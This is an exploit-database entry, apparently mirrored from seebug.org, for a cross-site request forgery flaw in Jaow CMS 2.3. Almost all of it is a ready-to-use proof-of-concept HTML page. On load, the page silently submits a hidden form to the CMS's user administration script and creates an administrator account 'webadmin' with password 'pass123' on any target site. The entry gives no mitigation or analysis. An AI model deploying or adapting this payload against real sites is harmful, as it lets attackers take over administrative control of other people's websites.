Jaow CMS 2.3 - CSRF Vulnerability

2014-07-0100:00:00

Root

www.seebug.org

JSON

No description provided by source.


                                                ##########################################
[~] Exploit Title: Jaow CMS v2.3 CSRF Vulnerability
[~] Author: DaOne [LCA]
[~] Date: 15/8/2012
[~] Software Link: http://www.jaow.net
[~] Or: http://scripts.toocharger.com/fiches/scripts/jaow/5370.htm
##########################################

[#] [ CSRF Add Admin ]

&#60;html&#62;
&#60;body onload=&#34;document.form0.submit();&#34;&#62;
&#60;form method=&#34;POST&#34; name=&#34;form0&#34; action=&#34;http://[target]/administration/utilisateur.php&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;Nom&#34; value=&#34;webadmin&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;Prenom&#34; value=&#34;webadmin&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;Pseudo&#34; value=&#34;webadmin&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;Mdp&#34; value=&#34;pass123&#34;/&#62;
&#60;/form&#62;
&#60;/body&#62;
&#60;/html&#62;

##########################################

JSON